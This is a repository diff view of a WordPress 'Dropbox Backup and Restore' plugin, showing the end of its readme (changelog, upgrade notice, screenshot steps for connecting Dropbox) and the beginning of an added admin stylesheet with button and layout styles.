437 |
+
@1265985 update version 1.3.2<br />
|
438 |
+
@1265068 update js (shows forms)<br />
|
439 |
+
@1264052 add function search element<br />
|
440 |
+
@1262500 explanation about support for plugin and hosting<br />
|
441 |
+
@1261881 function for plugins<br />
|
442 |
+
@1261222 updated version 1.3.1(auth form)<br />
|
443 |
+
@1261188 small changes in readme<br />
|
444 |
+
@1260383 update styles for mobile devices<br />
|
445 |
+
@1260365 updated version 1.3<br />
|
446 |
+
@1260019 add new version 1.2.9.9<br />
|
447 |
+
@1259835 add new version 1.2.9.8<br />
|
448 |
+
@1259518 to compare<br />
|
449 |
+
@1259217 answer fur super question about backup and restore plugins<br />
|
450 |
+
@1259203 question is corrected to dropbox backup and restoration<br />
|
451 |
+
@1259182 FAQ question added to dropbox backup / restore plugin<br />
|
452 |
+
@1257732 added comments database backup file<br />
|
453 |
+
@1255849 update styles (button)<br />
|
454 |
+
@1254709 Backup as Virus protection<br />
|
455 |
+
@1253582 other notes 5xx errors<br />
|
456 |
+
@1252805 Answer for question "how to clone my site" was added.<br />
|
457 |
+
@1251866 dropbox backup, dropbox restore: question added<br />
|
458 |
+
@1250954 explanation about dropbox connection request<br />
|
459 |
+
@1250437 update styles (buttons)<br />
|
460 |
+
@1249411 CR added<br />
|
461 |
+
@1249102 syntax backup and restoration description<br />
|
462 |
+
@1248616 add new version 1.2.9.7(update folder backup)<br />
|
463 |
+
@1248057 features list<br />
|
464 |
+
@1247607 tested up 4.3.1<br />
|
465 |
+
@1246330 wordpress website backup and wordpress website restore plugin dashboard …<br />
|
466 |
+
@1245871 dropbox backup and restore (website restore and website backup) update<br />
|
467 |
+
@1245510 Added logging<br />
|
468 |
+
@1244896 update sync<br />
|
469 |
+
@1244885 description updated<br />
|
470 |
+
@1244750 Dropbox backup and restore obligations<br />
|
471 |
+
@1242514 pik @<br />
|
472 |
+
@1241879 text update<br />
|
473 |
+
@1241570 add new version 1.2.9.6(update form setting)<br />
|
474 |
+
@1239293 description and tag changed<br />
|
475 |
+
@1238734 tags update<br />
|
476 |
+
@1237086 syntax faq<br />
|
477 |
+
@1237081 FAQ question and answer<br />
|
478 |
+
@1236213 readme description changed<br />
|
479 |
+
@1235445 webpage changed to website<br />
|
480 |
+
@1233859 user notice added<br />
|
481 |
+
@1233133 update styles(form info)<br />
|
482 |
+
@1232321 syntax<br />
|
483 |
+
@1230213 styles mobile devices(form)<br />
|
484 |
+
@1229216 update style(button-send)<br />
|
485 |
+
@1227611 tested version 4.3<br />
|
486 |
+
@1227201 update styles(form info)<br />
|
487 |
+
@1223663 update styles (form)<br />
|
488 |
+
@1222885 update styles<br />
|
489 |
+
@1221294 syntax<br />
|
490 |
+
@1220833 update styles (button)<br />
|
491 |
+
@1219935 update styles (form)<br />
|
492 |
+
@1217702 version changed<br />
|
493 |
+
@1217168 syntax<br />
|
494 |
+
@1216872 small spell checking<br />
|
495 |
+
@1214947 update styles (form)<br />
|
496 |
+
@1214116 exclude cache folder<br />
|
497 |
+
@1214080 add new version 1.2.9.5<br />
|
498 |
+
@1213546 update version of WordPress<br />
|
499 |
+
@1212423 restore description question<br />
|
500 |
+
@1212013 new version 1.2.9.4<br />
|
501 |
+
@1210498 update dropbox connect<br />
|
502 |
+
@1210495 new version 1.2.9.3<br />
|
503 |
+
@1210306 update styles<br />
|
504 |
+
@1209297 update styles<br />
|
505 |
+
@1209294 update styles<br />
|
506 |
+
@1208999 new version 1.2.9.2<br />
|
507 |
+
@1208987 Template update<br />
|
508 |
+
@1208918 Update version Wordpress<br />
|
509 |
+
@1208262 faq answer<br />
|
510 |
+
@1207546 faq question<br />
|
511 |
+
@1206897 faq answer and question<br />
|
512 |
+
@1206675 faq question<br />
|
513 |
+
@1206472 faq answer<br />
|
514 |
+
@1206316 faq question<br />
|
515 |
+
@1205075 syntax<br />
|
516 |
+
@1203513 syntax corrected<br />
|
517 |
+
@1203312 version changed to 1.2.9.1<br />
|
518 |
+
@1203168 new version 1.2.9a<br />
|
519 |
+
@1203093 syntax<br />
|
520 |
+
@1203089 Screenshots description<br />
|
521 |
+
@1202467 Screenshot description <br />
|
522 |
+
|
523 |
+
== Upgrade Notice ==
|
524 |
+
|
525 |
+
Please, keep your Dropbox Backup and Restore plugin up-to-date.
|
526 |
+
|
527 |
+
== Screenshots ==
|
528 |
+
|
529 |
+
= Step-by-step & HOWTOs in Dropbox Backup and Restore plugin =
|
530 |
+
|
531 |
+
1. **Main window of Dropbox Full Backup plugin.** Dropbox Backup and Restore plugin window after installation and activation.
|
532 |
+
2. To open the main window of the plug-in, click on the item "**Dropbox Full Backup**" in main menu of your WordPress installation. WordPress menu in admin area.
|
533 |
+
3. For **local backups** with Dropbox Full Backup plugin (saving of backups locally on server or shared hosting of your site), you do not need to make a connection to dropbox. Therefore, for a local backup is unnecessary to make any settings changes. The Local backup will work.
|
534 |
+
4. The **Settings block of Dropbox Backup and Restore** plugin. Fill out App key and App secret to get the dropbox plugin connected with your dropbox account.<br />
|
535 |
+
**Make sure**, you use the right App key and App secret pair and this pair correspond to your right dropbox application.<br />
|
536 |
+
**This is one of the most common mistakes of our users!**
|
537 |
+
5. **Don't forget** to click on **"Connect"** button to get the dropbox plugin connected with your dropbox account.
|
538 |
+
6. Click **"Create Dropbox Backup"** to create backup and upload this to your dropbox account using your pair of App key and App secret.
|
539 |
+
7. Click **"Create Local Backup"** to create local backup. The local backup will be saved locally at your shared hosting / server.
|
540 |
+
8. Table **list of backups** (local backups and dropbox backups), that was created with Dropbox Full Backup and Restore plugin.
|
541 |
+
9. Screen9
|
542 |
+
10. Screen10
|
543 |
+
|
544 |
+
|
template/css/admin-style-wpadm.css
ADDED
@@ -0,0 +1,996 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
.list-dropbox-backup-pro {
|
3 |
+
margin-top:10px;
|
4 |
+
margin-bottom:0;
|
5 |
+
}
|
6 |
+
.list-dropbox-backup-pro li {
|
7 |
+
margin-bottom: 0;
|
8 |
+
font-size:14px;
|
9 |
+
margin-left:35px;
|
10 |
+
}
|
11 |
+
.list-dropbox-backup-pro .text {
|
12 |
+
line-height: 25px;
|
13 |
+
}
|
14 |
+
.image-dropbox-pro {
|
15 |
+
width: 183px;
|
16 |
+
height: 187px;
|
17 |
+
border:2px solid #ddd;
|
18 |
+
cursor: pointer;
|
19 |
+
text-align: center;
|
20 |
+
float:left;
|
21 |
+
}
|
22 |
+
.dropbox-image-toolbar a:before {
|
23 |
+
content: url('./../../img/wpadm-logo.png');
|
24 |
+
/*background-image: ;*/
|
25 |
+
}
|
26 |
+
|
27 |
+
|
28 |
+
.folder-class {
|
29 |
+
text-align: left;
|
30 |
+
font-size: 14px;
|
31 |
+
font-weight: 400;
|
32 |
+
color:#444444;
|
33 |
+
}
|
34 |
+
.folder-class .first, .folder-class .second {
|
35 |
+
margin-left:3px;
|
36 |
+
}
|
37 |
+
.folder-class .first:after, .folder-class .second:after {
|
38 |
+
content:"/";
|
39 |
+
}
|
40 |
+
|
41 |
+
.backup_button {
|
42 |
+
-moz-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
|
43 |
+
-webkit-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
|
44 |
+
box-shadow:inset 0px 1px 0px 0px #9fb4f2;
|
45 |
+
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #7892c2), color-stop(1, #476e9e));
|
46 |
+
background:-moz-linear-gradient(top, #7892c2 5%, #476e9e 100%);
|
47 |
+
background:-webkit-linear-gradient(top, #7892c2 5%, #476e9e 100%);
|
48 |
+
background:-o-linear-gradient(top, #7892c2 5%, #476e9e 100%);
|
49 |
+
background:-ms-linear-gradient(top, #7892c2 5%, #476e9e 100%);
|
50 |
+
background:linear-gradient(to bottom, #7892c2 5%, #476e9e 100%);
|
51 |
+
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#7892c2', endColorstr='#476e9e',GradientType=0);
|
52 |
+
background-color:#7892c2;
|
53 |
+
-moz-border-radius:3px;
|
54 |
+
-webkit-border-radius:3px;
|
55 |
+
border-radius:3px;
|
56 |
+
border:1px solid #4e6096;
|
57 |
+
display:inline-block;
|
58 |
+
cursor:pointer;
|
59 |
+
color:#ffffff;
|
60 |
+
font-family:Arial;
|
61 |
+
font-size:17px;
|
62 |
+
font-weight:bold;
|
63 |
+
padding:10px 20px;
|
64 |
+
text-decoration:none;
|
65 |
+
text-shadow:0px 1px 0px #283966;
|
66 |
+
}
|
67 |
+
.backup_button:hover {
|
68 |
+
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #476e9e), color-stop(1, #7892c2));
|
69 |
+
background:-moz-linear-gradient(top, #476e9e 5%, #7892c2 100%);
|
70 |
+
background:-webkit-linear-gradient(top, #476e9e 5%, #7892c2 100%);
|
71 |
+
background:-o-linear-gradient(top, #476e9e 5%, #7892c2 100%);
|
72 |
+
background:-ms-linear-gradient(top, #476e9e 5%, #7892c2 100%);
|
73 |
+
background:linear-gradient(to bottom, #476e9e 5%, #7892c2 100%);
|
74 |
+
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#476e9e', endColorstr='#7892c2',GradientType=0);
|
75 |
+
background-color:#476e9e;
|
76 |
+
color:#fff;
|
77 |
+
}
|
78 |
+
.backup_button:active {
|
79 |
+
position:relative;
|
80 |
+
top:1px;
|
81 |
+
}
|
82 |
+
.form-counter {
|
83 |
+
background: #0096d6;
|
84 |
+
border: 1px solid #fff;
|
85 |
+
width: 95%;
|
86 |
+
margin-bottom: 20px;
|
87 |
+
margin-top: 20px;
|
88 |
+
color:#fff;
|
89 |
+
}
|
90 |
+
.log-dropbox {
|
91 |
+
background-repeat: no-repeat; background-position:center;
|
92 |
+
background-color: #fff;
|
93 |
+
height: 211px;
|
94 |
+
width: 170px;
|
95 |
+
float: left;
|
96 |
+
margin-top:-4px;
|
97 |
+
border: 1px solid #47a3ec;
|
98 |
+
border-radius:3px;
|
99 |
+
}
|
100 |
+
.block-content {
|
101 |
+
background-color: #fff;
|
102 |
+
border: 1px solid #e8e8e8;
|
103 |
+
padding: 10px;
|
104 |
+
}
|
105 |
+
#logs-form, #reviews-dropbox, #action-buttons {
|
106 |
+
float:left;
|
107 |
+
}
|
108 |
+
#logs-form, #reviews-dropbox {
|
109 |
+
padding: 10px; background: #ffffc8; border: 1px solid #0096d6; position: relative; height: 100px; text-align: center;
|
110 |
+
}
|
111 |
+
#reviews-dropbox {
|
112 |
+
float: right;
|
113 |
+
height: 150px;
|
114 |
+
width: 25%;
|
115 |
+
}
|
116 |
+
#action-buttons {
|
117 |
+
margin-right: 10px;
|
118 |
+
float:left;
|
119 |
+
margin-top:130px;
|
120 |
+
}
|
121 |
+
.form-field {
|
122 |
+
padding-top: 0px;
|
123 |
+
margin-bottom: 5px;
|
124 |
+
float: left;
|
125 |
+
margin-left:5px;
|
126 |
+
}
|
127 |
+
|
128 |
+
.title-reviews {
|
129 |
+
font-size: 20px;
|
130 |
+
margin-bottom: 24px;
|
131 |
+
margin-top:23px;
|
132 |
+
}
|
133 |
+
.desc-reviews {
|
134 |
+
font-size: 16px;
|
135 |
+
margin-top:10px;
|
136 |
+
margin-bottom: 20px;
|
137 |
+
}
|
138 |
+
|
139 |
+
.btn-danger {
|
140 |
+
background-color: #da4f49;
|
141 |
+
background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
|
142 |
+
background-repeat: repeat-x;
|
143 |
+
border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
|
144 |
+
color: #fff;
|
145 |
+
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
|
146 |
+
border-radius: 3px;
|
147 |
+
font-size: 11.9px;
|
148 |
+
padding: 2px 10px;
|
149 |
+
cursor: pointer;
|
150 |
+
}
|
151 |
+
.btn-orange {
|
152 |
+
background-color: #f48326;
|
153 |
+
background-image: linear-gradient(to bottom, #cc5d00, #cc5d00);
|
154 |
+
background-repeat: repeat-x;
|
155 |
+
border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
|
156 |
+
color: #fff;
|
157 |
+
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
|
158 |
+
border-radius: 3px;
|
159 |
+
font-size: 11.9px;
|
160 |
+
padding: 2px 10px;
|
161 |
+
cursor: pointer;
|
162 |
+
}
|
163 |
+
.btn-orange:hover {
|
164 |
+
color:#fff;
|
165 |
+
background-color: #f38325 ;
|
166 |
+
background-position: 0 -30px;
|
167 |
+
text-decoration: none;
|
168 |
+
transition: background-position 0.1s linear 0s;
|
169 |
+
}
|
170 |
+
.desc-wpadm {
|
171 |
+
clear: both;
|
172 |
+
color: #fff;
|
173 |
+
font-size: 13px;
|
174 |
+
/*font-style: italic;*/
|
175 |
+
}
|
176 |
+
.btn-danger:hover {
|
177 |
+
color:#fff;
|
178 |
+
background-color: #db362f ;
|
179 |
+
background-position: 0 -30px;
|
180 |
+
text-decoration: none;
|
181 |
+
transition: background-position 0.1s linear 0s;
|
182 |
+
}
|
183 |
+
|
184 |
+
.form-counter table tr td{
|
185 |
+
padding: 10px;
|
186 |
+
}
|
187 |
+
.color-picker {
|
188 |
+
margin:10px;
|
189 |
+
}
|
190 |
+
.stat_title {
|
191 |
+
text-align: center;
|
192 |
+
font-size: 24px;
|
193 |
+
margin-top: 20px;
|
194 |
+
}
|
195 |
+
.cfTabsContainer {
|
196 |
+
background-color: #0096d6;
|
197 |
+
overflow: hidden;
|
198 |
+
width:95%;
|
199 |
+
padding: 15px;
|
200 |
+
margin-bottom: 40px;
|
201 |
+
margin-top: 14px;
|
202 |
+
-webkit-font-smoothing: antialiased;
|
203 |
+
}
|
204 |
+
|
205 |
+
|
206 |
+
.button-wpadm {
|
207 |
+
background: none repeat scroll 0 0 #00d2b8;
|
208 |
+
border-color: #cdcdcd;
|
209 |
+
box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
|
210 |
+
color: #fff;
|
211 |
+
vertical-align: top;
|
212 |
+
border-radius: 3px;
|
213 |
+
border-style: solid;
|
214 |
+
border-width: 1px;
|
215 |
+
box-sizing: border-box;
|
216 |
+
cursor: pointer;
|
217 |
+
display: inline-block;
|
218 |
+
font-size: 13px;
|
219 |
+
height: 28px;
|
220 |
+
line-height: 26px;
|
221 |
+
margin: 0;
|
222 |
+
padding: 0 10px 1px;
|
223 |
+
text-decoration: none;
|
224 |
+
white-space: nowrap;
|
225 |
+
}
|
226 |
+
.wpadm-info {
|
227 |
+
font-size: 15px;
|
228 |
+
width: 30%;
|
229 |
+
margin-top:10px;
|
230 |
+
margin-left: 20px;
|
231 |
+
margin-bottom: 20px;
|
232 |
+
border-left: 1px solid #fff;
|
233 |
+
padding-left:20px;
|
234 |
+
padding-top: 20px;
|
235 |
+
height:200px;
|
236 |
+
}
|
237 |
+
.wpadm-info-title {
|
238 |
+
text-align:center;
|
239 |
+
padding:5px;
|
240 |
+
color:#fff;
|
241 |
+
font-size:20px;
|
242 |
+
}
|
243 |
+
.wpadm-registr-info {
|
244 |
+
width: 65%;
|
245 |
+
}
|
246 |
+
.wpadm-registr-info label {
|
247 |
+
color:#fff;
|
248 |
+
}
|
249 |
+
.wpadm-plugins-info {
|
250 |
+
width: 95%;
|
251 |
+
}
|
252 |
+
.services-info {
|
253 |
+
background: #fff; width: 95%; margin-top: 20px;
|
254 |
+
}
|
255 |
+
.title-services {
|
256 |
+
text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
|
257 |
+
}
|
258 |
+
|
259 |
+
.tmpl_line_body {
|
260 |
+
float: left;
|
261 |
+
margin: 0;
|
262 |
+
padding: 0;
|
263 |
+
position: relative;
|
264 |
+
width: 100%;
|
265 |
+
}
|
266 |
+
.wpadm-info-auth {
|
267 |
+
font-size: 11px;
|
268 |
+
padding-left:20px;
|
269 |
+
height:30px;
|
270 |
+
color:#fff;
|
271 |
+
margin-top: -5px;
|
272 |
+
}
|
273 |
+
#header_navigation_line {
|
274 |
+
background-color: #21759b;
|
275 |
+
background-image: linear-gradient(to bottom, #2a95c5, #21759b);
|
276 |
+
box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
|
277 |
+
height: 68px;
|
278 |
+
left: 0;
|
279 |
+
top: 0;
|
280 |
+
z-index: 1000;
|
281 |
+
}
|
282 |
+
#header_navigation_line #main_menu ul li {
|
283 |
+
display: inline-block;
|
284 |
+
float: none;
|
285 |
+
font-size: 14px;
|
286 |
+
font-weight: bold;
|
287 |
+
list-style: outside none none;
|
288 |
+
margin: 0;
|
289 |
+
padding: 0;
|
290 |
+
text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
|
291 |
+
}
|
292 |
+
.inline-right {
|
293 |
+
float:right;
|
294 |
+
}
|
295 |
+
.inline {
|
296 |
+
float:left;
|
297 |
+
}
|
298 |
+
.inline-right, .inline {
|
299 |
+
margin-top:10px;
|
300 |
+
margin-left:10px;
|
301 |
+
}
|
302 |
+
#header_navigation_line #main_menu ul li a {
|
303 |
+
background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
|
304 |
+
border: 1px solid #1b5f7f;
|
305 |
+
border-radius: 3px;
|
306 |
+
box-shadow: 1px 1px 0 0 #78c9e6 inset;
|
307 |
+
color: #dddddd;
|
308 |
+
display: inline-block;
|
309 |
+
float: left;
|
310 |
+
height: 43px;
|
311 |
+
line-height: 16px;
|
312 |
+
margin: 0 2px 0 0;
|
313 |
+
overflow: hidden;
|
314 |
+
padding: 5px 0;
|
315 |
+
text-decoration: none;
|
316 |
+
width: 90px;
|
317 |
+
}
|
318 |
+
#header_navigation_line #main_menu ul li:hover a {
|
319 |
+
background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
|
320 |
+
color: #fff;
|
321 |
+
}
|
322 |
+
#header_navigation_line #main_menu {
|
323 |
+
float: left;
|
324 |
+
margin: 6px 0 0;
|
325 |
+
width: 100%;
|
326 |
+
}
|
327 |
+
#header_navigation_line #logo {
|
328 |
+
float: left;
|
329 |
+
left: 0;
|
330 |
+
position: absolute;
|
331 |
+
top: 9px;
|
332 |
+
width: auto;
|
333 |
+
}
|
334 |
+
#header_navigation_line #main_menu ul {
|
335 |
+
float: left;
|
336 |
+
list-style: outside none none;
|
337 |
+
margin: 0 0 0 20px;
|
338 |
+
padding: 0;
|
339 |
+
text-align: center;
|
340 |
+
width: 100%;
|
341 |
+
}
|
342 |
+
#header_navigation_line #main_menu ul li .nav_icon {
|
343 |
+
float: left;
|
344 |
+
height: 24px;
|
345 |
+
margin: 0;
|
346 |
+
padding: 0 0 3px;
|
347 |
+
width: 100%;
|
348 |
+
}
|
349 |
+
#header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
|
350 |
+
background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
|
351 |
+
border: 1px solid #fff;
|
352 |
+
box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
|
353 |
+
color: #fff;
|
354 |
+
}
|
355 |
+
.clear {
|
356 |
+
clear:both;
|
357 |
+
}
|
358 |
+
.plugins-info {
|
359 |
+
width:320px;
|
360 |
+
}
|
361 |
+
.plugin-box {
|
362 |
+
background: #0096d6;
|
363 |
+
border: 1px solid #e5e5e5;
|
364 |
+
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
|
365 |
+
min-width: 255px;
|
366 |
+
position: relative;
|
367 |
+
line-height: 1;
|
368 |
+
margin-bottom: 20px;
|
369 |
+
padding: 0;
|
370 |
+
}
|
371 |
+
|
372 |
+
.plugins-info-content {
|
373 |
+
display:none;
|
374 |
+
border-top: 1px solid #fff;
|
375 |
+
margin-top:8px;
|
376 |
+
padding-top: 7px;
|
377 |
+
}
|
378 |
+
h3.plugins-title {
|
379 |
+
font-size: 14px;
|
380 |
+
line-height: 1.4;
|
381 |
+
margin: 0;
|
382 |
+
}
|
383 |
+
.plugins-title a {
|
384 |
+
color:#fff;
|
385 |
+
text-decoration: none;
|
386 |
+
|
387 |
+
}
|
388 |
+
.wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
|
389 |
+
float:left;
|
390 |
+
color:#fff;
|
391 |
+
}
|
392 |
+
.button-wpadm:hover {
|
393 |
+
border-color:#cdcdcd;
|
394 |
+
background-color: #009583;
|
395 |
+
}
|
396 |
+
.wpadm-red:hover {
|
397 |
+
border-color:#737373 ;
|
398 |
+
background-color: #ff706c;
|
399 |
+
}
|
400 |
+
.wpadm-red {
|
401 |
+
background: none repeat scroll 0 0 #f21111;
|
402 |
+
border-color: #c7c6ce;
|
403 |
+
box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
|
404 |
+
}
|
405 |
+
.info-detail {
|
406 |
+
background:#bee7e7;
|
407 |
+
}
|
408 |
+
.table {
|
409 |
+
margin:0px;padding:0px;
|
410 |
+
width:100%;
|
411 |
+
border:0px;
|
412 |
+
border-collapse: collapse;
|
413 |
+
border-spacing: 0;
|
414 |
+
width:100%;
|
415 |
+
height:100%;
|
416 |
+
border: 1px solid #b7c6ff;
|
417 |
+
border-radius: 3px;
|
418 |
+
margin-top: 60px;
|
419 |
+
|
420 |
+
}
|
421 |
+
.table th {
|
422 |
+
padding: 7px;
|
423 |
+
background-color:#dde4ff;
|
424 |
+
font-size:16px;
|
425 |
+
|
426 |
+
}
|
427 |
+
.title-logs, .title-status {
|
428 |
+
margin-bottom: 10px;
|
429 |
+
}
|
430 |
+
.help-key-secret {
|
431 |
+
font-size: 11px;
|
432 |
+
text-align: right;
|
433 |
+
color:#fff;
|
434 |
+
cursor: pointer;
|
435 |
+
}
|
436 |
+
.help-key-secret:hover {
|
437 |
+
color:#fff;
|
